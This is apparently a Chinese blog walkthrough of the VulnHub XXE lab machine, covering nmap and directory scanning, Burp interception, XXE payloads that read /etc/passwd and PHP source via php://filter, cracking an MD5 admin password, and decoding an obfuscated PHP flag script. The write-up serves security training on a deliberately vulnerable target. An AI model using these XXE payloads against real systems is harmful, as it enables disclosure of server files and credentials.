靶机下载链接

http://download.vulnhub.com/xxe/XXE.zip

win下全套工具包

链接:https://pan.baidu.com/s/1joOWbE6823GuFyBm92sR0A 
提取码:r0xn

一、首先打开靶机

靶机是不给你账号密码的,为了防止你直接混入系统查找flag,通常密码都会先设置的非常复杂,不要想着破解了。

二、打开nmap对内网进行一次扫描找到靶机

在虚拟机里找到你的内网ip池以及掩码

填入nmap,配置选择Quick scan 简单扫描,就可以得到内网主机ip

(虚拟机-》右上角 编辑-》网络编辑器-》net   就可以看到虚拟机的ip池了)

 点击服务,我们可以看到多出来一个http服务,应该就是xxe靶机

 咱们使用火狐渗透版打开这个端口

链接:https://pan.baidu.com/s/1uargsu2YIESyVdiI6hXVYA 
提取码:mvwm

发现只是一个默认界面,接下来老规矩先扫描一下网站 

3、web目录扫描

这里咱们使用御剑进行扫描,因为apache一般都是php,咱们这里只保留php就行了,开始扫描

 咱们这里只得到一个robots.txt,这是一个爬虫访问路径,里面有可能泄露服务器文件信息,咱们打开看看

发现一个xxe路径和admin.php文件

打开xxe

 四、抓包分析

打开浏览器代理

 打开我们的老朋友Burpsuite抓包

请按顺序打开,即可进入

 

 (1)进入Burpsuite抓包

(Burpsuite字符偏移修正请参考

Burpsuite字符偏移修正_年关的博客-CSDN博客

点击进入 Proxy->Options对监听端口设置

将之与火狐浏览器统一

 接下来回到Proxy->Intercept打开抓包(Intercept is on 蓝色处于开启状态)

(2) 打开火狐浏览器进行登录

 点击登陆后Burpsuite自动跳出,到抓包界面

 

(3)打开 Burpsuite的Repeater模式

进入Repeater

 (4)分析数据包

因为这个靶机考验的是xxe漏洞,所以我们将目光放到xml部分

(XXE漏洞:https://blog.csdn.net/qq_45514735/article/details/123292059

<?xml version="1.0" encoding="UTF-8"?>
    <root>
        <name>
            admin
        </name>
        <password>
            admin
        </password>
    </root>

 这里我们可以看到root标签中是我们登录时输入的账号密码

尝试进行DTD实体包含,将xml部分进行构造

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>hj</password></root>

 模拟发送

 可以看到网页成功包含文件内容返回,在这里就算是成功找到漏洞了

接下来如何利用漏洞呢?

五、漏洞利用

上面我们讲到利用xxe漏洞进行文件包含,但是在实战情况下我们没办法得到网站的根目录路径,所以我们接下来将用

php://filter/read

使用相对路径获取网站文件源码

构造xml,注意,在之前的爬虫文件中有一个admin.php的管理员登陆界面,我们读取他试试

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

这里是用base64获取的源码(官方的操作,想细究的话去vulnhub找)

 复制出密文,打开工具包中的超级加解密工具

将解码后的php源码粘贴到notepad++里面去,我们仔细看看

 

 在第80-83行存在了一个账号判断,但是密码进行了md5加密,这里我们要对MD5进行个解密

md5在线解密破解,md5解密加密

 账号为:administhebest

密码为:admin@123

我们试着登录admin.php看看(关掉bp抓包别忘了)

 登陆上去了,但是没什么用,我们再看一下源码

第88行有一个flag的文件,我们直接爆源码

 更改xml

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>&sp;</name><password>hj</password></root>

源码:

PD9waHAKJGZsYWcgPSAiPCEtLSB0aGUgZmxhZyBpbiAoSlFaRk1NQ1pQRTRIS1dUTlBCVUZVNkpWTzVRVVFRSjUpIC0tPiI7CmVjaG8gJGZsYWc7Cj8+Cg==

 解码后仍然是密文

JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5

 经过多次尝试

这段密文需要

 base32解密--》 base64解密

Base32编码解码,Base32在线转换工具 - 千千秀字

得到一个文件路径 

/etc/.flag.php

老方法xml读取

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>hj</password></root>

 得到密文

JF9bXSsrOyRfW109JF8uXzskX19fX189JF9bKCsrJF9fW10pXVsoKyskX19bXSkrKCsrJF9fW10pKygrKyRfX1tdKV07JF89JF9bJF9bK19dXTskX19fPSRfXz0kX1srKyRfX1tdXTskX19fXz0kXz0kX1srX107JF8rKzskXysrOyRfKys7JF89JF9fX18uKyskX19fLiRfX18uKyskXy4kX18uKyskX19fOyRfXz0kXzskXz0kX19fX187JF8rKzskXysrOyRfKys7JF8rKzskXysrOyRfKys7JF8rKzskXysrOyRfKys7JF8rKzskX19fPStfOyRfX18uPSRfXzskX19fPSsrJF9eJF9fX1srX107JMOAPStfOyTDgT0kw4I9JMODPSTDhD0kw4Y9JMOIPSTDiT0kw4o9JMOLPSsrJMOBW107JMOCKys7JMODKys7JMODKys7JMOEKys7JMOEKys7JMOEKys7JMOGKys7JMOGKys7JMOGKys7JMOGKys7JMOIKys7JMOIKys7JMOIKys7JMOIKys7JMOIKys7JMOJKys7JMOJKys7JMOJKys7JMOJKys7JMOJKys7JMOJKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JF9fKCckXz0iJy4kX19fLiTDgS4kw4IuJMODLiRfX18uJMOBLiTDgC4kw4EuJF9fXy4kw4EuJMOALiTDiC4kX19fLiTDgS4kw4AuJMODLiRfX18uJMOBLiTDgi4kw4MuJF9fXy4kw4EuJMOCLiTDgC4kX19fLiTDgS4kw4kuJMODLiRfX18uJMOBLiTDiS4kw4AuJF9fXy4kw4EuJMOJLiTDgC4kX19fLiTDgS4kw4QuJMOGLiRfX18uJMOBLiTDgy4kw4kuJF9fXy4kw4EuJMOGLiTDgS4kX19fLiTDgS4kw4guJMODLiRfX18uJMOBLiTDgy4kw4kuJF9fXy4kw4EuJMOILiTDgy4kX19fLiTDgS4kw4YuJMOJLiRfX18uJMOBLiTDgy4kw4kuJF9fXy4kw4EuJMOELiTDhi4kX19fLiTDgS4kw4QuJMOBLiRfX18uJMOBLiTDiC4kw4MuJF9fXy4kw4EuJMOJLiTDgS4kX19fLiTDgS4kw4kuJMOGLiciJyk7JF9fKCRfKTsK

解码后得到的是一段php代码

$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$脌=+_;$脕=$脗=$脙=$脛=$脝=$脠=$脡=$脢=$脣=++$脕[];$脗++;$脙++;$脙++;$脛++;$脛++;$脛++;$脝++;$脝++;$脝++;$脝++;$脠++;$脠++;$脠++;$脠++;$脠++;$脡++;$脡++;$脡++;$脡++;$脡++;$脡++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$__('$_="'.$___.$脕.$脗.$脙.$___.$脕.$脌.$脕.$___.$脕.$脌.$脠.$___.$脕.$脌.$脙.$___.$脕.$脗.$脙.$___.$脕.$脗.$脌.$___.$脕.$脡.$脙.$___.$脕.$脡.$脌.$___.$脕.$脡.$脌.$___.$脕.$脛.$脝.$___.$脕.$脙.$脡.$___.$脕.$脝.$脕.$___.$脕.$脠.$脙.$___.$脕.$脙.$脡.$___.$脕.$脠.$脙.$___.$脕.$脝.$脡.$___.$脕.$脙.$脡.$___.$脕.$脛.$脝.$___.$脕.$脛.$脕.$___.$脕.$脠.$脙.$___.$脕.$脡.$脕.$___.$脕.$脡.$脝.'"');$__($_);

我们找个在线运行的网站试试

PHP在线运行工具|代码在线运行工具 (y444.cn)

运行失败了?

别急,这可是见鬼的ctf,我们仔细看一下报错

PHP Notice:  Undefined variable: _ in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Array to string conversion in /usercode/file.php on line 2
PHP Notice:  Undefined variable: __ in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Undefined variable: 脕 in /usercode/file.php on line 2
PHP Parse error:  syntax error, unexpected '{' in /usercode/file.php(2) : assert code on line 1
PHP Catchable fatal error:  assert(): Failure evaluating code: 
SAFCSP{xxe_is_so_easy} in /usercode/file.php on line 2

 我们发现,最后一行。。。。。。

SAFCSP{xxe_is_so_easy}

flag找到了,见鬼的ctf脑筋急转弯。

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐